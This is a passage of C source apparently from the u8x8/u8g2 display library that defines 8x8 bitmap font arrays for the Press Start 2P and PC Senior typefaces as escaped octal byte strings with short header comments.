\"\\70\\177\\177\\0cw>\\34>wc\\0\\0\\7\\17xx\\17\\7\\0aqy]OGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AA\\177\\177\\0\\0\\0\\0\\2\\3\\1\\3\\2\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\1\\2\\0\\0\\0 tTTT|x\\0\\77\\177DDD|\\70\\0\\70|DD\"\n  \"DDD\\0\\70|DDD\\177\\177\\0\\70|TTT\\134\\30\\0\\0\\4\\4~\\177\\5\\5\\0\\30\\274\\244\\244\"\n  \"\\244\\374|\\0\\177\\177\\4\\4\\4|x\\0\\0@D}}@@\\0\\0\\200\\200\\204\\375}\\0\\0\\177\\177\\30\\70\"\n  \"|lD\\0\\0@A\\177\\177@@\\0|\\4||\\4|x\\0||\\4\\4\\4|x\\0\\70|DD\"\n  \"D|\\70\\0\\374\\374$$$<\\30\\0\\30<$$$\\374\\374\\0\\0||\\10\\4\\4\\4\\0H\\134TT\"\n  \"Tt \\0\\0\\4\\4\\177\\177\\4\\4\\0<|@@@||\\0\\0\\34<``<\\34\\0<@||\"\n  \"@||\\0ll\\70\\70\\70ll\\0\\34\\274\\240\\240\\240\\374|\\0Ddt|\\134LD\\0\\0\\0\\10>\"\n  \"wA\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0Aw>\\10\\0\\0\\0\\10\\4\\14\\34\\30\\20\\10\\0\\0``\\0\"\n  \"``\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p}}\\0\\0\\0\\34>\\42\\177\\42\\66\\24\\0H~\\177I\"\n  \"IKB\\0\\0\\42\\34\\42\\42\\34\\42\\0\\0+/||/+\\0\\0\\0\\0ww\\0\\0\\0\\0&oU\"\n  \"U{\\62\\0\\0\\1\\1\\0\\1\\1\\0\\0<B\\231\\245\\245\\201B<\\0\\5\\17\\13\\17\\16\\0\\0\\10\\34\\66*\"\n  \"\\34\\66\\42\\0\\0\\4\\4\\4\\4\\34\\34\\0\\0\\10\\10\\10\\10\\10\\10\\0<B\\275\\225\\225\\251B<\\0\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\2\\5\\2\\0\\0\\0\\0DD__DD\\0\\0\\0\\11\\15\\17\\12\\0\\0\\0\\0\\11\\13\"\n  \"\\17\\5\\0\\0\\0\\0\\0\\2\\1\\0\\0\\0\\374\\374@@<|@\\0\\0\\16\\33\\21\\177\\21\\177\\0\\0\\0\\30\\30\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200@\\0\\0\\0\\0\\0\\12\\17\\17\\10\\0\\0\\0\\6\\17\\11\\17\\6\\0\\0\\42\\66\\34*\"\n  \"\\66\\34\\10\\0B/\\20\\10$\\62y\\0B/\\20\\10DjY\\0I+\\25\\10$\\62y\\0\\60xme\"\n  \"ep\\60\\0px-&,xp\\0px,&-xp\\0pz/%/zp\\0pz-'\"\n  \".yp\\0py-$-yp\\0px.%.xp\\0|~\\23\\177\\177II\\0\\14\\36\\263\\241\"\n  \"a\\63\\22\\0||UVTTD\\0||TVUTD\\0|~WUWVD\\0|}UT\"\n  \"UUD\\0\\0DD}~DD\\0\\0DD~}DD\\0\\0DF\\177\\177FD\\0\\0EE|\"\n  \"|EE\\0\\10\\177\\177Ic>\\34\\0|~\\35;r}|\\0\\70|EFD|\\70\\0\\70|DF\"\n  \"E|\\70\\0\\70~GEG~\\70\\0\\70~EGF}\\70\\0\\70}EDE}\\70\\0\\0\\42\\24\\10\"\n  \"\\24\\42\\0\\0>\\177QIE\\177>\\0<|AB@|<\\0<|@BA|<\\0\\70zCA\"\n  \"Cz\\70\\0<}A@A}<\\0\\0\\14\\34rq\\34\\14\\0\\177\\177\\42\\42\\42>\\34\\0\\0~\\177!\"\n  \"I\\177\\66\\0 tUVT|x\\0 tTVU|x\\0 vWUW~x\\0 vUW\"\n  \"V}x\\0 uUTU}x\\0 tVUV|x\\0 tT|T\\134\\30\\0\\30<\\244\\244\"\n  \"d$$\\0\\70|UVT\\134\\30\\0\\70|TVU\\134\\30\\0\\70~WUW^\\30\\0\\70}UT\"\n  \"U]\\30\\0\\0@Izx@@\\0\\0@Hzy@@\\0\\0BKy{B@\\0\\0AE|\"\n  \"}A@\\0\\64{KNNy\\60\\0|~\\5\\7\\6}x\\0\\70|EFD|\\70\\0\\70|DF\"\n  \"E|\\70\\0\\70~GEG~\\70\\0\\70~EGF}\\70\\0\\70}EDE}\\70\\0\\0\\10\\10*\"\n  \"*\\10\\10\\0\\70|dTL|\\70\\0<|AB@||\\0<|@BA||\\0\\70zCA\"\n  \"Czx\\0<}A@A}|\\0\\34\\274\\240\\242\\241\\374|\\0\\377\\377$$$<\\30\\0\\34\\275\\241\\240\"\n  \"\\241\\375|\";\n/*\n  Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1\n  Copyright: (c) 2011 Cody \n  Glyphs: 96/556\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pressstart2p_r[772] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\7\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\42\\177\\177\\42\"\n  \"\\177\\177\\42\\0$.*\\177*:\\20\\0F%\\23\\10dR\\61\\0\\66\\177I_v`P\\0\\0\\0\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\200\\340`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0``\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\34>aAC>\\34\\0\\0@B\\177\\177@@\\0bsyY]OF\\0 aIM\"\n  \"O{\\61\\0\\30\\34\\26\\23\\177\\177\\20\\0'gEEE}\\70\\0<~KIIy\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66OMYYv\\60\\0\\6OIIi\\77\\36\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\24\\0\\0Ac\\66\\34\\10\\0\\0\\6\\7SS\"\n  \"[\\17\\6\\0>A]U]Q\\36\\0|~\\23\\21\\23~|\\0\\177\\177III\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0\\177\\177AAc>\\34\\0\\177\\177IIIIA\\0\\177\\177\\11\\11\\11\\11\\1\\0\\34>cA\"\n  \"Iyy\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0 `@@@\\177\\77\\0\\177\\177\\30<\"\n  \"vcA\\0\\0\\177\\177@@@@\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\16\\34\\70\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0\\177\\177\\21\\21\\21\\37\\16\\0>\\177AQq\\77^\\0\\177\\177\\21\\61yoN\\0&oII\"\n  \"Kz\\60\\0\\0\\1\\1\\177\\177\\1\\1\\0\\77\\177@@@\\177\\77\\0\\17\\37\\70p\\70\\37\\17\\0\\177\\177\\70\\34\"\n  \"\\70\\177\\177\\0cw>\\34>wc\\0\\0\\7\\17xx\\17\\7\\0aqy]OGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AA\\177\\177\\0\\0\\0\\0\\2\\3\\1\\3\\2\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\1\\2\\0\\0\\0 tTTT|x\\0\\77\\177DDD|\\70\\0\\70|DD\"\n  \"DDD\\0\\70|DDD\\177\\177\\0\\70|TTT\\134\\30\\0\\0\\4\\4~\\177\\5\\5\\0\\30\\274\\244\\244\"\n  \"\\244\\374|\\0\\177\\177\\4\\4\\4|x\\0\\0@D}}@@\\0\\0\\200\\200\\204\\375}\\0\\0\\177\\177\\30\\70\"\n  \"|lD\\0\\0@A\\177\\177@@\\0|\\4||\\4|x\\0||\\4\\4\\4|x\\0\\70|DD\"\n  \"D|\\70\\0\\374\\374$$$<\\30\\0\\30<$$$\\374\\374\\0\\0||\\10\\4\\4\\4\\0H\\134TT\"\n  \"Tt \\0\\0\\4\\4\\177\\177\\4\\4\\0<|@@@||\\0\\0\\34<``<\\34\\0<@||\"\n  \"@||\\0ll\\70\\70\\70ll\\0\\34\\274\\240\\240\\240\\374|\\0Ddt|\\134LD\\0\\0\\0\\10>\"\n  \"wA\\0\\0\\0\\0\\0\\177\\177\\0\\0\\0\\0Aw>\\10\\0\\0\\0\\10\\4\\14\\34\\30\\20\\10\\0\\0``\\0\"\n  \"``\\0\";\n/*\n  Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1\n  Copyright: (c) 2011 Cody \n  Glyphs: 18/556\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pressstart2p_n[220] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\200\\340`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0``\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\34>aAC>\\34\\0\\0@B\\177\\177@@\\0bsyY]OF\\0 aIM\"\n  \"O{\\61\\0\\30\\34\\26\\23\\177\\177\\20\\0'gEEE}\\70\\0<~KIIy\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66OMYYv\\60\\0\\6OIIi\\77\\36\\0\\0\\0\\66\\66\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1\n  Copyright: (c) 2011 Cody \n  Glyphs: 64/556\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pressstart2p_u[516] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\7\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\42\\177\\177\\42\"\n  \"\\177\\177\\42\\0$.*\\177*:\\20\\0F%\\23\\10dR\\61\\0\\66\\177I_v`P\\0\\0\\0\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\200\\340`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0``\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\34>aAC>\\34\\0\\0@B\\177\\177@@\\0bsyY]OF\\0 aIM\"\n  \"O{\\61\\0\\30\\34\\26\\23\\177\\177\\20\\0'gEEE}\\70\\0<~KIIy\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66OMYYv\\60\\0\\6OIIi\\77\\36\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\24\\0\\0Ac\\66\\34\\10\\0\\0\\6\\7SS\"\n  \"[\\17\\6\\0>A]U]Q\\36\\0|~\\23\\21\\23~|\\0\\177\\177III\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0\\177\\177AAc>\\34\\0\\177\\177IIIIA\\0\\177\\177\\11\\11\\11\\11\\1\\0\\34>cA\"\n  \"Iyy\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0 `@@@\\177\\77\\0\\177\\177\\30<\"\n  \"vcA\\0\\0\\177\\177@@@@\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\16\\34\\70\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0\\177\\177\\21\\21\\21\\37\\16\\0>\\177AQq\\77^\\0\\177\\177\\21\\61yoN\\0&oII\"\n  \"Kz\\60\\0\\0\\1\\1\\177\\177\\1\\1\\0\\77\\177@@@\\177\\77\\0\\17\\37\\70p\\70\\37\\17\\0\\177\\177\\70\\34\"\n  \"\\70\\177\\177\\0cw>\\34>wc\\0\\0\\7\\17xx\\17\\7\\0aqy]OGC\\0\\0\\0\\177\\177\"\n  \"AA\\0\\0\\1\\2\\4\\10\\20 @\\0\\0AA\\177\\177\\0\\0\\0\\0\\2\\3\\1\\3\\2\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\";\n/*\n  Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1\n  Copyright: TrueType conversion  2001 codeman38.\n  Glyphs: 192/260\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pcsenior_f[1796] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIof\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346f\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0&oMY\"\n  \"s\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\3\\7\\4\\0\\0\\0 tTT<x@\\0A\\177\\77HHx\\60\\0\\70|DD\"\n  \"l(\\0\\0\\60xHI\\77\\177@\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0A\\177\\177@\\0\\0\\0||\\30\\70\\34|x\\0||\\4\\4|x\\0\\0\\70|DD\"\n  \"|\\70\\0\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\34\\30\\0H\\134TT\"\n  \"t$\\0\\0\\0\\4>\\177D$\\0\\0<|@@<|@\\0\\34<``<\\34\\0\\0<|p\\70\"\n  \"p|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>w\"\n  \"AA\\0\\0\\0\\0\\0ww\\0\\0\\0AAw>\\10\\10\\0\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0{{\\0\\0\\0\\30<$\\347\\347$$\\0h~\\177I\"\n  \"Cf \\0\\0\\0\\0\\0\\0\\0\\0\\0+/\\374\\374/+\\0\\0\\0\\0\\0ww\\0\\0\\0@\\332\\277\\245\"\n  \"\\375Y\\3\\2\\0\\0\\0\\0\\0\\0\\0\\0~\\201\\225\\261\\261\\225\\201~\\0&/)//(\\0\\10\\34\\66\\42\"\n  \"\\10\\34\\66\\42\\10\\10\\10\\10\\70\\70\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\300\\377\\177\\5\\5e\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\6\\17\\11\\17\\6\\0\\0DD__DD\\0\\0\\0\\31\\35\\27\\22\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\376~  >\\36\\0\\6\\17\\11\\177\\177\\1\\177\\177\\0\\0\\0\\30\"\n  \"\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&/)/&\\0\\0\\42\\66\\34\\10\"\n  \"\\42\\66\\34\\10Oo\\60\\30lv\\373\\371o_(\\324\\262\\325\\253\\221\\0\\0\\0\\0\\0\\0\\0\\0\\60xME\"\n  \"` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0y}\\26\\22\\26}y\\0px++xp\\0\\0|~\\13\\11\\177\\177I\\0\\16\\237\\221\\261\"\n  \"\\373J\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0D||UUE\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0}}\\31\\61}}\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\31<ff<\\31\\1\\42\\66\\34\\10\"\n  \"\\34\\66\\42\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0=}@@}=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\376**\"\n  \">\\24\\0\\0!uUT|x@\\0 tTU}y@\\0\\2#uUU}{B\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0!uTT}y@\\0 tWW|x@\\0 tTT||TT\\30<\\244\\244\"\n  \"\\344@\\0\\0\\71}UT\\134\\30\\0\\0\\70|TU]\\31\\0\\0\\2;}UU]\\33\\2\\71}TT\"\n  \"]\\31\\0\\0\\1E}|@\\0\\0\\0\\0D}}A\\0\\0\\0\\2\\3E}}C\\2\\0\\1E||\"\n  \"A\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0zz\\12\\12zp\\0\\0\\62zJHx\\60\\0\\0\\60xHJ\"\n  \"z\\62\\0\\0\\62{II{\\62\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\62zHHz\\62\\0\\0\\10\\10kk\"\n  \"\\10\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0:zB@xx@\\0\\70x@Bzz@\\0:{AA\"\n  \"{z@\\0:z@@zz@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\232\\272\\240\\240\"\n  \"\\372z\\0\";\n/*\n  Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1\n  Copyright: TrueType conversion  2001 codeman38.\n  Glyphs: 96/260\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pcsenior_r[772] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6__\\6\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\24\\177\\177\\24\"\n  \"\\177\\177\\24\\0$.kk:\\22\\0\\0Ff\\60\\30\\14fb\\0\\60zO]\\67zH\\0\\4\\7\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  \"\\10\\10\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\\14\"\n  \"\\6\\3\\1\\0>\\177qYM\\177>\\0@B\\177\\177@@\\0\\0bsYIof\\0\\0\\42cII\"\n  \"\\177\\66\\0\\0\\30\\34\\26S\\177\\177P\\0'gEE}\\71\\0\\0<~KIy\\60\\0\\0\\3\\3qy\"\n  \"\\17\\7\\0\\0\\66\\177II\\177\\66\\0\\0\\6OIi\\77\\36\\0\\0\\0\\0ff\\0\\0\\0\\0\\0\\200\\346f\"\n  \"\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\0$$$$$$\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\3QY\"\n  \"\\17\\6\\0\\0>\\177A]]\\37\\36\\0|~\\23\\23~|\\0\\0A\\177\\177II\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0A\\177\\177Ac>\\34\\0A\\177\\177I]Ac\\0A\\177\\177I\\35\\1\\3\\0\\34>cA\"\n  \"Qsr\\0\\177\\177\\10\\10\\177\\177\\0\\0\\0A\\177\\177A\\0\\0\\0\\60p@A\\177\\77\\1\\0A\\177\\177\\10\"\n  \"\\34wc\\0A\\177\\177A@`p\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0\\34>cA\"\n  \"c>\\34\\0A\\177\\177I\\11\\17\\6\\0\\36\\77!q\\177^\\0\\0A\\177\\177\\11\\31\\177f\\0&oMY\"\n  \"s\\62\\0\\0\\3A\\177\\177A\\3\\0\\0\\177\\177@@\\177\\177\\0\\0\\37\\77``\\77\\37\\0\\0\\177\\177\\60\\30\"\n  \"\\60\\177\\177\\0Cg<\\30<gC\\0\\7OxxO\\7\\0\\0GcqYMgs\\0\\0\\177\\177A\"\n  \"A\\0\\0\\0\\1\\3\\6\\14\\30\\60`\\0\\0AA\\177\\177\\0\\0\\0\\10\\14\\6\\3\\6\\14\\10\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\3\\7\\4\\0\\0\\0 tTT<x@\\0A\\177\\77HHx\\60\\0\\70|DD\"\n  \"l(\\0\\0\\60xHI\\77\\177@\\0\\70|TT\\134\\30\\0\\0H~\\177I\\3\\2\\0\\0\\230\\274\\244\\244\"\n  \"\\370|\\4\\0A\\177\\177\\10\\4|x\\0\\0D}}@\\0\\0\\0`\\340\\200\\200\\375}\\0\\0A\\177\\177\\20\"\n  \"\\70lD\\0\\0A\\177\\177@\\0\\0\\0||\\30\\70\\34|x\\0||\\4\\4|x\\0\\0\\70|DD\"\n  \"|\\70\\0\\0\\204\\374\\370\\244$<\\30\\0\\30<$\\244\\370\\374\\204\\0D|xL\\4\\34\\30\\0H\\134TT\"\n  \"t$\\0\\0\\0\\4>\\177D$\\0\\0<|@@<|@\\0\\34<``<\\34\\0\\0<|p\\70\"\n  \"p|<\\0Dl\\70\\20\\70lD\\0\\234\\274\\240\\240\\374|\\0\\0Ldt\\134Ld\\0\\0\\10\\10>w\"\n  \"AA\\0\\0\\0\\0\\0ww\\0\\0\\0AAw>\\10\\10\\0\\0\\2\\3\\1\\3\\2\\3\\1\\0pxLF\"\n  \"Lxp\";\n/*\n  Fontname: -FreeType-PC Senior-Medium-R-Normal--8-80-72-72-P-48-ISO10646-1\n  Copyright: TrueType conversion  2001 codeman38.\n  Glyphs: 18/260\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pcsenior_n[220] U8X8_FONT_SECTION(\"u8x8_font_pcsenior_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34\\34>*\\10\\10\\10>>\"\n  